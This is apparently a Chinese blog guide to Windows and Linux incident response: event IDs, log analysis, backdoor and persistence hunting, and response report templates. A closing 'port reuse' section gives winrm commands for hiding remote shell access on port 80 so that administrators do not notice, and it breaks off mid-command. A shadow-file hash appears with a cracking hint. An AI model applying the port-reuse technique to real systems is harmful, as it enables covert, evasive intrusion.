检测到命名空间冲突. 成功 4865 添加了受信任的林信息条目. 成功 4866 删除了受信任的林信息条目. 成功 4867 受信任的林信息条目已修改. 审核登录事件 此安全设置确定 OS 是否对尝试登录此计算机 或从中注销的用户的每个实例进行审核. 类别 子类别 默认状态 对应高级审核策略配置 审核登录事件 审核账户锁定 成功 登录/注销 审核 IPsec 扩展模式 无审核 登录/注销 审核 IPsec 主模式 无审核 登录/注销 审核 IPsec 快速模式 无审核 登录/注销 审核注销 成功 登录/注销 审核登录 客户端:成功服务器:成功和失败 登录/注销 审核网络策略服务器 成功和失败 登录/注销 审核其他登录/注销事件 无审核 登录/注销 审核特别登录 成功 登录/注销 子类别 默认状态 事件ID 事件说明 审核账户锁定 成功 4625 帐户登录失败. 审核注销 成功 4634 帐户已注销. 审核注销 成功 4647 用户发起的注销. 审核登录 客户端PC: 成功服务器: 成功和失败 4624 帐户登录成功. 4625 帐户登录失败. 4648 尝试使用显式凭据登录. 4675 SID 被过滤. 审核网络策略服务器 成功和失败 网络策略服务器授予用户访问权限. 6273 网络策略服务器拒绝访问用户. 6274 网络策略服务器放弃了对用户的请求. 6275 网络策略服务器丢弃了用户的计费请求. 6276 网络策略服务器隔离了一个用户. 6277 网络策略服务器授予用户访问权限,但由于主机不符合定义的健康策略而使其处于试用状态. 6278 网络策略服务器授予用户完全访问权限,因为主机符合定义的健康策略. 6279 由于多次失败的身份验证尝试,网络策略服务器锁定了用户帐户. 6280 网络策略服务器解锁了用户帐户. 审核特别登录 成功 4964 已将特殊组分配给新登录 登录类型 描述 说明 2 交互式登录(Interactive) 用户在本地进行登录. 3 网络(Network) 最常见的情况就是连接到共享文件夹或共享打印机时. 4 批处理(Batch) 通常表明某计划任 务启动. 5 服务(Service) 每种服务都被配置 在某个特定的用户 账号下运行. 7 解锁(Unlock) 屏保解锁. 8 网络明文(NetworkCleartext) 登录的密码在网络 上是通过明文传输 的,如FTP. 9 新凭证(NewCredentials) 使用带/Netonly参数 的RUNAS命令运行一 个程序. 10 远程交互(RemoteInteractive) 通过终端服务、远程桌面或远程协助访问计算机. 11 缓存交互(CachedInteractive) 以一个域用户登录而又没有域控制器可用 地位和子状态码 描述 0xc0000064 用户名不存在 0xc000006a 用户名是正确的,但密码是错误的 0xc0000234 用户当前锁定 0xc0000072 帐户目前禁用 0xc000006f 用户试图登录天的外周或时间限制 0xc0000070 工作站的限制 0xc0000193 帐号过期 0xc0000071 过期的密码 0xc0000133 时钟之间的直流和其他电脑太不同步 0xc0000224 在下次登录用户需要更改密码 0xc0000225 显然一个缺陷在Windows和不是一个风险 0xc000015b 没有被授予该用户请求登录类型(又名登录 正确的)在这台机器 0xc000006d 似乎是由于系统问题和不安全 审核账户管理 此安全设置确定是否审核计算机上的每个帐户管理事件.帐户管理事件示例包括: 创建、更改或删除用户帐户或组. 重命名、禁用或启用用户帐户. 设置或更改密码. 类别 子类别 默认状态 对应本地审核策略 帐户管理 审核应用组程序管理 无审核 审核账户管理 审核计算机帐户管理 无审核 审核通讯组管理 无审核 审核其他账户管理事件 无审核 审核安全组管理 成功 审核用户账户管理 成功 子类别 默认状态 事件ID 事件 审核安全组管理 成功 4727 已创建启用安全性的全局组. 4728 一个成员被添加到启用安全的全局组中. 4729 成员已从启用安全的全局组中删除. 4730 已删除启用安全的全局组. 4731 已创建启用安全性的本地组. 4732 一个成员被添加到启用安全的本地组. 4733 成员已从启用安全的本地组中删除. 4734 已删除启用安全的本地组. 4735 已更改启用安全的本地组. 4737 已更改启用安全的全局组. 4754 已创建启用安全的通用组. 4755 已更改启用安全的通用组. 4756 一个成员被添加到启用安全的通用组. 4757 成员已从启用安全的通用组中删除. 4758 已删除启用安全的通用组. 4764 组的类型已更改. 审核用户账户管理 成功 4720 已创建用户帐户. 4722 已启用用户帐户. 4723 试图更改帐户的密码. 4724 已尝试重置帐户密码. 4725 用户帐户被禁用. 4726 用户帐户被删除. 4738 用户帐户已更改. 4740 用户帐户被锁定. 4765 SID 历史记录已添加到帐户 4766 尝试向帐户添加 SID 历史记录失败. 4767 用户帐户已解锁. 4780 ACL 是在作为管理员组成员的帐户上设置的. 4781 帐户名称已更改: 4794 已尝试设置目录服务还原模式. 5376 凭据管理器凭据已备份. 5377 凭据管理器凭据是从备份中恢复的. 远程登录事件当通过远程桌面协议(RDP)进行远程登录时,会在源主机和目的主机上生成一系列事件。以下是与RDP远程登录相关的重要事件ID及其含义,这些事件可以在Windows安全日志和远程连接日志中找到。 安全日志(Security.evtx) 事件ID 描述 重点说明 4624 账户成功登录 表明有账户成功通过RDP登录 4648 使用明文凭证尝试登录 可能表明凭证被窃取或滥用 4778 重新连接到一台Windows主机的会话 表明会话被重新连接 4779 断开到一台Windows主机的会话 表明会话被断开 远程连接日志应用程序和服务日志->Microsoft->Windows->TerminalServices->RemoteConnectionManager->Operational 事件ID 描述 重点说明 1149 用户认证成功 表明用户通过RDP认证成功 21 远程桌面服务:会话登录成功 表明RDP会话登录成功 24 远程桌面服务:会话已断开连接 表明RDP会话被断开 25 远程桌面服务:会话重新连接成功 表明RDP会话被重新连接 登录类型 登录类型 描述 重点说明 10 RemoteInteractive 专用于RDP登录 12 CachedRemoteInteractive 表明使用了缓存的RDP登录信息 Log Parser123456789101112131415161718192021222324252627282930# 图形化# 默认安装到C:\\Program Files (x86)\\Log Parser 2.2# 将日志拷贝出来在进行操作LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM C:\\Users\\Administrator\\Desktop\\Security.evtx"# 分析IIS日志LogParser.exe "select time, c-ip,cs-uri-stem,cs-uri-query, sc-status, time-taken from C:\\Users\\Administrator\\Desktop\\ex170818.log where cs-uri-query like '%and%' " -o:datagrid#常见字段有 time: 请求的时间戳,通常以 YYYY-MM-DD HH:MM:SS 格式记录。c-ip: 客户端IP地址(Client IP)。cs-uri-stem: 请求的URI路径(即请求的资源)。sc-status: 服务器返回的状态码(如200表示成功,404表示未找到等)。time-taken: 请求处理所花费的时间(以毫秒为单位)。cs-method: 请求方法(如GET、POST)。cs-uri-query: 请求的查询字符串。cs(User-Agent): 客户端的用户代理字符串(即浏览器类型)。cs(Referer): 请求的来源页面。sc-bytes: 服务器发送的字节数。cs-bytes: 客户端发送的字节数。s-computername: 服务器计算机名称。s-ip: 服务器IP地址。s-port: 服务器端口号。# 使用SQL语句统计实现我们需要的数据。LogParser.exe -i:IISW3C -o:DATAGRID "SELECT c-ip,COUNT(c-ip) FROM C:\\Users\\Administrator\\Desktop\\ex170818.log GROUP BY c-ip ORDER BY COUNT(c-iP) DESC"# 将结果数据导出到csv中LogParser.exe -i:IISW3C -o:csv "SELECT c-ip,COUNT(c-ip) into 1.csv FROM C:\\Users\\Administrator\\Desktop\\ex170818.log GROUP BY c-ip ORDER BY COUNT(c-iP) DESC" 12345# 在入侵事件中,我们经常会需要查找"post"请求,判断是否有上传木马文件等行为,或者访问页面中包含"user"、"manager"、"admin"等类似管理员的字段判断是否访问了后台管理页面。LogParser.exe -i:IISW3C -o:DATAGRID "SELECT * FROM C:\\Users\\Administrator\\Desktop\\ex170818.log WHERE cs-method='POST'"LogParser.exe -i:IISW3C -o:DATAGRID "SELECT * FROM C:\\Users\\Administrator\\Desktop\\ex170818.log WHERE cs-uri-stem LIKE '%admin%'" LogParser Studio官网 打开需要分析的日志文件 选中需要分析的日志文件,接着新建一个查询 我们还是以刚才统计出访问次数最多的IP地址及次数为例子 SELECT top 10 c-ip,count(c-ip) FROM '[LOGFILEPATH]' GROUP BY c-ip ORDER BY COUNT(c-iP) DESC 然后点击我们的执行按钮,即可输出结果 这里注意LogParser Studio与LogParser有几个区别: 输入文件类型:LogParser Studio已经预先选择输入文件类型,查询语句不需要再定义 输出文件类型:LogParser Studio默认使用窗口展示数据,如需指定其他输出文件类型或者导出文件,需要在语句中定义 也可将我们自定义的SQL语句,保存加入到库中,方便下次使用 也可点击相应的按钮将查询统计的数据导出。","tags":["应急响应","Windows"]},{"title":"应急响应-前菜","path":"/2024/07/03/ac635236/","content":"总字符数: 27.68K 代码: 9.10K, 文本: 7.71K 预计阅读时间: 1.22 小时 什么是应急响应应急响应 应急响应(Incident Response/Emergency Response): 通常是指一个组织为了应对各种意外事件的发生所做的准备工作以及在突发事件发生时或者发生后所采取的措施 计算机网络应急响应的对象是指计算机或网络所存储、传输、处理的信息的安全事件,事件的主体可能来自自然界、系统自身故障(这里的系统包括主机范畴内的问题,也包括网络范畴内的问题)、组织内部或外部的人、计算机病毒或蠕虫等 应急处置 启动应急响应计划后,应立即采取相关措施抑制信息安全事件影响,避免造成更大损失.在确定有效控制了信息安全事件影响后,开始实施恢复操作.恢复阶段的行动集中于建立临时业务处理能力、修复原系统的损害、在原系统或新设施中恢复运行业务能力等应急措施. 信息安全应急响应计划规范GB/T 24363-2009 应急响应生命周期(PDCERF) 检测预防为主 微观帮助服务对象建立安全政策帮助服务对象按照安全政策配置安全设备和软件 扫描,风险分析,打补丁 如有条件且得到许可,建立监控设施宏观建立协作体系和应急制度建立信息沟通渠道和通报机制电话、即时通讯、email如有条件,建立数据汇总分析的体系和能力 有关法律法规的制定制定应急响应计划应急经费筹集人力资源指挥调度人员、协作人员技术人员、专家设备、系统和服务提供商硬件设备准备数据保护设备(磁盘、SAN)、冗余设备 (网络链路、网络设备、关键计算机设备软件工具准备备份软件、日志处理软件系统软件、应急启动盘病毒、恶意软件查杀软件现场备份业务连续性保障系统容灾、搭建临时业务系统 准备微观(负责具体网络的CERT)-确定事件性质和处理人确定事件的责任人:指定一个责任人全权处理,事件,给予必要的资源确定事件的性质: 误会?玩笑?还是恶意的攻击/入侵? 影响的严重程度, 预计采用什么样的专用资源来修复?宏观(负责总体网络的CERT)通过汇总,确定是否发生了全网的大规模事件确定应急等级,以决定启动哪一级应急方案事故的标志(征兆和预兆)Web服务器崩溃用户抱怨主机连接网络速度过慢子邮件管理员可以看到大批的反弹电子邮件与可疑内容网络管理员通告了一个不寻常的偏离典型的网络流量流向来源网络和主机IDS 、防病毒软件、文件完整性检查软件、系统、网络、蜜罐日志公开可利用的信息、第三方监视服务确认事故确认网络和系统轮廓: 分析事故的最好技术方法之一理解正常的行为: 基于处理事故的良好准备使用集中的日志管理并创建日志保留策略执行事件关联保持所有主机时钟同步维护和使用信息知识库: 分析事故时的快速参考使用互联网搜索引擎进行研究运行包嗅探器以搜集更多的数据过滤数据经验是不可替代的建立诊断矩阵寻求帮助诊断矩阵实例征兆拒绝服务恶意代码非授权访问不正确使用文件,关键,访问尝试低中高低文件,不适当的内容低中低高主机崩溃中中中低端口扫码,输入的, 不正常的高低中低端口扫码,输出的, 不正常的低高中低利用带宽高高中低中利用电子邮件中高中中 遏制即时采取的行动 微观防止进一步的损失,确定后果初步分析,重点是确定适当的封锁方法咨询安全政策确定进一步操作的风险损失最小化(最快最简单的方式恢复系统的基本功能,例如备机启动)可列出若干选项,讲明各自的风险,由服务对象选择宏观确保封锁方法对各网业务影响最小通过协调争取各网一致行动,实施隔离汇总数据,估算损失和隔离效果建议组织机构为几类主要的事故建立单独的遏制策略其标准包括:潜在的破坏和资源的窃取证据保留的需要服务可用性(例如:网络连接,提供给外部当事方的服务)实施战略需要的时间和资源战略的有效性(例如:部分遏制事故,完全遏制事故)解决方案的期限(例如:紧急事故工作区需在4 小时内清除,临时工作区需在两周内清除,永久的解决方案)。 根除长期的补救措施 微观详细分析,确定原因,定义征兆分析漏洞加强防范消除原因修改安全政策宏观加强宣传,公布危害性和解决办法,呼吁用户解决终端的问题;加强检测工作,发现和清理行业与重点部门的问题 恢复微观被攻击的系统恢复正常的工作状态作一个新的备份把所有安全上的变更作备份服务重新上线持续监控宏观持续汇总分析,了解各网的运行情况根据各网的运行情况判断隔离措施的有效性通过汇总分析的结果判断仍然受影响的终端的规模发现重要用户及时通报解决适当的时候解除封锁措施 跟踪跟踪关注系统恢复以后的安全状况,特别是曾经出问题的地方建立跟踪文档,规范记录跟踪结果对响应效果给出评估对进入司法程序的事件,进行进一步的调查,打击违法犯罪活动事件的归档与统计处理人、时间和时段、地点工作量、事件的类型、对事件的处置情况代价、细节 应急响应思路流程1、收集信息在赶往出事地点的路上以及还没有接触到具体业务时,要提前向客户询问清楚事件情况,如发现时间以及大致发生时间、事件造成的破坏、受害主机情况(如系统、版本、内外网)、客户的具体处置要求 2、事件预定性在初步了解情况后先做一个事件性质预判,判断下这个事件是个什么事件,是勒索还是挖矿还是其他事件。然后根据事件发生时间划定一个时间范围,重点排查这个时间段内的情况,从影响范围中确认一个排查范围。 3、取证分析取证并非毫无头绪的,病毒本身必然有网络行为,内存必然有其二进制代码,它要么是单独的进程模块,要么是进程的dll/so模块,通常,为了保活,它极可能还有自己的启动项、网络心跳包。 可以归结为如下4点要素:流量、内存、模块、启动项。 流量分析可以使用Wireshark,主要分析下当前主机访问了哪些域名、URL、服务,或者有哪些外网IP在访问本地主机的哪些端口、服务和目录,又使用了何种协议等等。 取证注意事项保护 12345保证数据的安全性:制作磁盘映像——不在原始磁盘上操作保证数据完整性:取证中不使用可能破坏完整性的操作第三方监督:所有操作都有第三方在场监督 提取 12345优先提取易消失的证据:内存信息、系统进程、网络连接信息、路由信息、临时文件、缓存等文件系统:数据恢复、隐藏文件、加密文件、回收站、注册表、系统日志等应用系统:系统日志、中间件日志 分析 123证据在什么地方:日志、删除的文件、临时文件、缓存从证据中能发现什么?如何关联证据? 4、定向分析二次定性后,我们基本已经真正掌握了事件情况,这时就可以进行各种分析,对各种情况利用各种工具快速分析 应急响应信息收集表 感染主机数 感染了多数台主机 补丁情况 打了哪些补丁,是否存在补丁漏打 中毒现象 勒索/挖矿/DoS/僵尸网络/后门/木马 客户名称 什么区域的什么客户 帐号密码 确认是否有弱密码 对外开发端口 对外开发了哪些端口 开启的服务 开启了哪些服务 操作系统版本 操作系统版本信息 客户需求 确认客户具体需求 响应流程 事件发生运维监控人员、客服审核人员等发现问题,向上通报。 事件确认收集事件信息、分析网络活动相关程序,日志和数据,判断事件的严重性,评估出问题的严重等级,是否向上进行汇报等。 事件响应各部门通力合作,处理安全问题,具体解决问题,避免存在漏洞未修补、后门未清除等残留问题。 事件关闭处理完事件之后,需要关闭事件,并写出安全应急处理分析报告,完成整个应急过程。 分析方向文件分析 基于变化的分析 123日期文件增改最近使用文件 源码分析 12检查源码改动查杀WebShell等后门 系统日志分析 应用日志分析 123分析User-Agent,e.g. awvs / burpsuite / w3af / nessus / openvas对每种攻击进行关键字匹配, e.g. select/alert/eval异常请求,连续的404-目录扫描、302-暴力破解、500等 md5sum 检查常用命令二进制文件的哈希,检查是否被植入rootkit 进程分析 符合以下特征的进程 1234CPU或内存资源占用长时间过高没有签名验证信息没有描述信息的进程进程的路径不合法 dump系统内存进行分析 正在运行的进程 正在运行的服务 父进程和子进程 后台可执行文件的完整哈希 已安装的应用程序 运行着密钥或其他正在自动运行的持久化程序 计划任务 身份信息分析 本地以及域账号用户 异常的身份验证 非标准格式的用户名 日志分析 杀软检测记录 系统日志 中间件日志 网络分析 监听端口和相关服务 最近建立的网络连接 RDP / VPN / SSH 等会话 防火墙配置 DNS配置 路由配置 配置分析 查看配套的注册表信息检索,SAM文件 查看环境变量 查看Linux SE等配置 内核模块 Linux应急响应 文件分析 最近使用文件 1find / -ctime -2 系统日志分析 12/var/log/more /etc/rsyslog.conf # 查看日志配置情况 重点分析位置 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051# 日志级别debug # 系统调试信息info # 常规信息warning # 警告信息err # 报错(级别低,阻止了某个功能能不能正常工作)crit # 报错(级别高,阻止了某个软件或整个系统不能正常工作)alert # 需要立即修改的信息emerg # 内核崩溃none # 不采集任何日志信息# 注意:从上到下,级别从低到高,记录的信息越来越少# 必看日志:secure、Messages、wtmp/etc/passwd # 用户列表/etc/init.d/ # 开机启动项/etc/cron* # 定时任务/tmp # 临时目录~/.ssh/var/log/messages # 包括整体系统信息,其中也包含系统启动期间的日志.此外,mail,cron,daemon,kern和auth等内容也记录在var/log/messages日志中/var/log/dmesg # 包含内核缓冲信息(kernel ring buffer).在系统启动时,会在屏幕上显示许多与硬件有关的信息.可以用dmesg查看它们/var/log/auth.log # 包含系统授权信息,包括用户登录和使用的权限机制等/var/10g/boot.log # 包含系统启动时的日志/var/log/daemon.log # 包含各种系统后台守护进程日志信息/var/log/dpkg.log # 包括安装或dpkg命令清除软件包的日志/var/log/kern.log # 包含内核产生的日志,有助于在定制内核时解决问题/var/log/lastlog # 记录所有用户的最近信息.这不是一个ASCII文件,因此需要用lastlog命令查看内容/var/log/maillog/var/log/mai1.log # 包含来自系统运行电子邮件服务器的日志信息.例如:sendmail日志信息就全部送到这个文件中/var/log/user.log # 记录所有等级用户信息的日志/var/log/Xorg.x.log # 来自X的日志信息/var/log/alternatives.log # 更新替代信息都记录在这个文件中/var/log/btmp # 记录所有失败登录信息.使用last命令可以查看btmp文件.例如:last -f /var/log/btmp more/var/log/cups # 涉及所有打印信息的日志。/var/log/anaconda.log # 在安装Linux时,所有安装信息都储存在这个文件中/var/log/yum.log # 包含使用yum安装的软件包信息/var/log/cron # 每当cron进程开始一个工作时,就会将相关信息记录在这个文件中/var/log/secure # 包含验证和授权方面信息.例如:sshd 会将所有信息记录(其中包括失败登录)在这里/var/log/wtmp/var/log/utmp # 包含登录信息.使用wtmp可以找出谁正在登陆进入系统,谁使用命令显示这个文件或信息等/var/log/faillog # 包含用户登录失败信息.此外,错误登录命令也会记录在本文件中# 除了上述Log文件以外,vār/log还基于系统的具体应用包含以下一些子目录:/var/log/httpd/或/var/log/apache2 # 包含服务器access_log和error_log信息/var/log/lighttpd/ # 包含light HTTPD的access_log和error_log/var/log/mail/ # 这个子目录包含邮件服务器的额外日志/var/log/prelink/ # 包含.so文件被prelink修改的信息/var/log/audit/ # 包含被Linux audit daemon储存的信息/var/log/samba/ # 包含由samba存储的信息/var/log/sa/ # 包含每日由sysstat软件包收集的sar文件/var/log/sssd/ # 用于守护进程安全服务 用户分析 /etc/shadow 密码登陆相关信息 123root:$6$szBCA0J1J6UfTeGi$VpIsYVHoULUix8Q.ifya2Qjsf1zLkn0CMvvZqFAyfFvB9u/K7uk6pu4u1yN/P72Jim9tjDN1dMiSsrDRrOJQ..:19240:0:99999:7:::用户名:密码:密码上次修改时间:允许修改密码最短时间:允许修改密码最长时间:密码过期前提醒用户修改密码的时间# 可以用john碰撞解密 uptime 查看用户登陆时间 /etc/passwd 用户基本信息 12root:x:0:0:root:/root:/bin/bash用户名:密码:用户id:组id:用户说明:家目录:登录之后的shell /etc/sudoers sudo用户列表 后门账号排查1234567891011121314# uid为0即是超级用户权限账号awk -F: '{IF($3==0)PRINT $1}' /etc/passwd# 最小权限more /etc/sudoers | grep -v "^#\\|^$" | grep "ALL=(ALL)"# 检查是否有可登录的后门账号awk '/\\$1|\\$6/{print $1}' /etc/shadowcat /etc/passwd | grep -E "/bin/bash$"# last 用于显示用户最近登录信息 # 登录排查攻击者登录账号和时间last# lastb 显示用户错误的登录列表lastb# lastlog 显示所有用户上次登录信息lastlog 进程分析进程也可以在/proc下面找到,Linux一切皆文件 netstat -antlp|more 查看是否打开了可疑端口 w 命令,查看用户及其进程 分析开机自启程序/脚本 12/etc/init.d~/.bashrc 查看计划或定时任务 1crontab -l lsof 12lsof -i: PORTlsof -p PID ps/pstree 1234# 查找进程ps -aux|grep java# 查看进程的子进程ps -efl | grep java 通信分析 iptablesLinux平台下的包过滤防火墙,具有封包过滤、封包重定向和网络地址转换(NAT)等功能 表 链 filter INPUT,FORWARD,OUTPUT nat PREROUTING,OUTPUT,POSTROUTING mangle PREROUTING,INPUT,FORWARD,OUTPUT,POSTROUTING raw PREROUTING,OUTPUT 动作 含义 ACCEPT 允许数据包通过 DROP 直接丢弃数据包,不会给数据端发送响应 REJECT 拒绝数据包,必要时会给数据端发送响应 SNAT 源地址转换,解决内网用户公用一个公网地址 MASQUERADE SNAT的特殊形式,适用于动态IP REDIRECT 在本机做端口映射 123456# 192.168.10.0/24 可接受,但192.168.10.10丢弃iptables -A INPUT -i eth0 -s 192.168.10.0/24 -j ACCEPTiptables -A INPUT -i eth0 -s 192.168.10.10 -j DROPiptables -nL --line-number | grep 192.168.10iptables -L -t nat# 重点注意:红队常用nat FireWalld Linux-FireWalld 木马排查实战流程 内存马查杀 visualvm 适用于servlet或filter框架组件内存马(JDK1.8以上,bin文件下)自带 https://visualvm.github.io/https://visualvm.github.io/ arthas 适用于servlet或filter框架组件内存马是阿里巴巴开源的Java诊断工具 copagent 适用于servlet,filter,listenter框架组件内存马 Windows应急响应 实施具体操作在简单做完定向分析并取证后,如果客户直接把系统重置了就不需要下一步了,如果客户要求从头到尾把系统排查一下那么就利用工具和手法进行排查。 对账户、进程、端口、服务、启动项、计划任务、文件、日志进行逐个检测, 系统信息 systeminfo查看补丁是否齐全,是否存在ms08-067相关漏洞 工具: 文件分析 相关目录 下载目录 回收站文件 Temp History 应用程序打开历史 搜索历史 Lnk 驱动:(cmd>Drivequery)日期 进程dll关联查询(tasklist -m) 共享文件(cmd>Net share) 最近的文件(资源管理器>%UserProfile%\\Recent) 文件更新 已安装文件,控制面板或者(regedit>\\software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\) 最近使用文件 123C:\\Documents and Settings\\Administrator\\RecentC:\\Documents and Settings\\Default User\\Recent%UserProfile%\\Recent 后门查杀 1234567891011121314# 启动项HKEY_LOCAL_MACHINE\\SOFTWARE\\Microft\\windows\\currentversion\\run# 用户登录HKCU\\EnvironmentHKLM\\SOFTWARE\\Microft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit# 定时任务/计划任务1. 单击[开始]>[设置]>[控制面板]>[任务计划],查看计划任务属性,便可以发现木马文件的路径2. 单击[开始]>[运行];输入cmd,然后输入at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接# 服务自启动1. 单击[开始]>[运行],输入services.msc,注意服务状态和启动类型,检查是否有异常服务# dll劫持HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\Control\\SessionManager\\ExcludeFromKnownDlls# COM劫持%APPDATA%\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\ 程序运行记录使用WinPrefetchView解析Prefetch文件夹中的.pf文件取证。 用户分析 查看是否有新增用户 查看服务器是否有弱口令 查看管理员对应键值 lusrmgr.msc 查看账户变化 net user 列出当前登录账户 wmic UserAccount get 列出当前系统所有账户 PChunter、D盾 进程分析 netstat -ano 查看是否打开了可疑端口 tasklist 查看是否有可疑进程 分析开机自启程序 123456789101112HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunonceHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnceHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\RunHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce(ProfilePath)\\Start Menu\\Programs\\Startup 启动项msconfig 启动选项卡gpedit.msc 组策略编辑器 查看计划或定时任务 123456C:\\Windows\\System32\\Tasks\\C:\\Windows\\SysWOW64\\Tasks\\C:\\Windows\\tasks\\schtaskstaskschd.msccompmgmt.msc 查看启动服务 1services.msc 主要注意点大致就是:没有厂商名字、没有签名验证信息、没有描述信息的可疑进程。还有典型的挖矿现象(CPU 或内存资源占用长时间过高)的进程。 Pchunter:黑色为微软官方进程,蓝色为外界安装软件进程,红色为可疑进程,同时注意进程参数 process Explorer:进程浏览器。界面功能从左到右为:Process进程、CPU占比、Private Bytes提交大小、Working Set(工作设置、内存)、PID、Description描述、Company Name公司名。 小技巧:被注入的进程属性里会多出.NET Assemblies 和 .NET Performance两个菜单 日志分析 事件查看 1eventvwr.msc 系统日志 123456789# 日志路径C:\\Windows\\System32\\winevt\\LogsC:\\windows\\Minidump# 必看日志Security.evtx、System.evtx、Application.evtx# 特殊ID号4624、4625、4634、4624、4672管理员登录# 查看是否执行了某些命令比如4688,创建新进程4732安全组管理# 4724用户账户管理 4738、4722、4720、4728 重要的事件日志ID如下: Event ID(2000/XP/2003) Event ID(Vista/7/8/2008/2012) 描述 日志名称 528 4624 成功登录 Security 529 4625 失败登录 Security 680 4776 成功/失败的账户认证 Security 624 4720 创建用户 Security 636 4732 添加用户到启用安全性的本地组中 Security 632 4728 添加用户到启用安全性的全局组中 Security 2934 7030 服务创建错误 System 2944 7040 IPSEC服务服务的启动类型已从禁用更改为自动启动 System 2949 7045 服务创建 System 端口分析注意以下状态的网络连接: ESTABLISHED:连接建立数据传输 LISTEN:监听中等待连接 Tcpview、火绒剑、命令行下netstat -ano: DNSQuerySniffer:DNS解析查询工具。可以通过此工具确定访问恶意域名的端口号,该工具还可以将主机访问过的所有域名记录下来。 启动项、计划任务、服务autoruns:检查启动项、计划任务、服务最推荐的工具。 WMI后门:无文件,相对来说难以排查,但也可以使用autoruns排查。 其他 查看系统环境变量 WinRM端口复用连接排查 在默认情况下,WinRM服务的端口为5985,但可通过配置将其改成80端口 在排查时,可使用命令winrm enumerate winrm/config/listener查看是否启动服务,当存在返回信息时,则说明服务运行中,当无返回信息时,则服务关闭 关闭服务命令 cmd:winrm delete winrm/config/Listener?Address=*+Transport=HTTP powershell Set-Service -Name winrm -StartupType Disabled Stop-Service winrm 研判与溯源分析流程 定位事件 设备告警 辅助设备 告警事件 应急响应 分析服务器以及相应服务开放的端口 21 3389 445 443 80 3306 8080 分析服务被攻击的方法 OWASP TOP 10 爆破 欺骗 钓鱼 漏洞利用 分析日志 查找Webshell 分析网站数据库连接账号权限 分析网站容器权限 被提权了 查看补丁 查看账号连接情况(分析注册表如是否被克隆账号) 查看网络连接 分析进程 分析注册表启动程序 分析日志 分析一些提权工具 漏洞利用程序 执行对比命令 mimakatz 报告整理 信息分析 用户画像绘制流程 重大信息安全事件报告表 重大信息安全事件报告表 报告时间: x 年x 月x 日x 时x 分 单位名称: 报告人: 联系电话: 通讯地址: 传真: 电子邮件: 发生重大信息安全事件的信息系统名称及用途: 负责部门: 负责人: 重大信息安全事件的简要描述(如以前出现过类似情况也应加以说明): 初步判定的事故原因: 当前采取的措施: 本次重大信息安全事件的初步影响状况: 影响范围: 严重程度: 值班电话: 传真: 应急响应总结模板 信息安全事件应急响应结果报告表 原事件报告时间: x 年x 月x 日x 时x 分 备案编号: x 年x 月x 日x 第 x 号 单位名称: 报告人: 联系电话: 通讯地址: 信息系统名称及用途: 已采用的安全措施: 信息安全事件的补充描述及最后判定的事故原因: 本次信息安全事件的初步影响状况: 事后结果: 影响范围: 严重程度: 本次信息安全事件的主要处理过程及结果: 针对此类信息安全事件应采取的保障信息系统安全的措施和建议: 报告人签名: Windows端口复用-番外篇概述使用HTTP.sys中的Net.tcp Port Sharing服务,配合WinRM实现端口复用。 优点:HTTP.sys为windows原生机制,WinRM为windows自带功能,动作较小,不易触发主动防御。 需要管理员权限 原理HTTP.sysHTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序。 为了优化IIS服务器性能 从IIS6.0引入(即Windows Server 2003及以上版本) IIS服务进程依赖HTTP.sys HTTP.sys监听HTTP流量,然后根据URL注册的情况去分发,以实现多个进程在同一个端口监听HTTP流量。微软公开了HTTP Server API库,Httpcfg、Netsh等都是基于它的。 整个过程描述如下:Step 1.注册:IIS或其他应用使用HTTP Server API时,需要先在HTTP.sys上面注册url prefix,以监听请求路径。Step 2.路由:HTTP.sys获取到request请求,并分发这个请求给注册当前url对应的应用。 Net.tcp Port SharingNet.tcp Port Sharing服务是WCF(Windows Communication Foundation,微软的一个框架)中的一个新系统组件,这个服务会开启Net.tcp端口共享功能以达到在用户的不同进程之间实现端口共享。这个机制的最终是在HTTP.sys中实现的。目前将许多不同HTTP应用程序的流量复用到单个TCP端口上的HTTP.sys模型已经成为windows平台上的标准配置。 在以前的web应用中,一个web应用绑定一个端口,若有其他应用则需要绑定其他的端口才能实现监听。如下图所示,Web Application 1绑定了80端口后,Web Application 2再去绑定80端口会出错。 现在使用微软提供的NET.tcp Port Sharing服务,只要遵循相关的开发接口规则,就可以实现不同的应用共享相同的Web服务器端口。如下图中Web Application 1和Web Application 2同时绑定在80端口。 WinRMWinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似telnet的交互式命令行shell,而底层通讯协议使用的正是HTTP。 事实上,WinRM已经在HTTP.sys上注册了名为wsman的url前缀,默认监听端口5985。因此,在安装了IIS的边界Windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用,可以直接通过80端口登录Windows服务器查询当前注册url前缀 1netsh http show servicestate 开启winrm服务 Windows 2012及以上:winrm默认启动并监听了5985端口。 Windows 2008:需要手动启动winrm。 1winrm quickconfig -q 增加80端口复用 1winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} 更改winrm为80端口 默认5985端口开启,不需要更改端口。 默认5985端口不开启,则更改winrm为80端口,否则会因端口改变而引起管理员关注。 1winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} 攻击机(Windows Server 2008 R2)也需要启动winrm并设置信任连接 1234# 启动winrmwinrm quickconfig ‐q# 设置信任主机地址winrm set 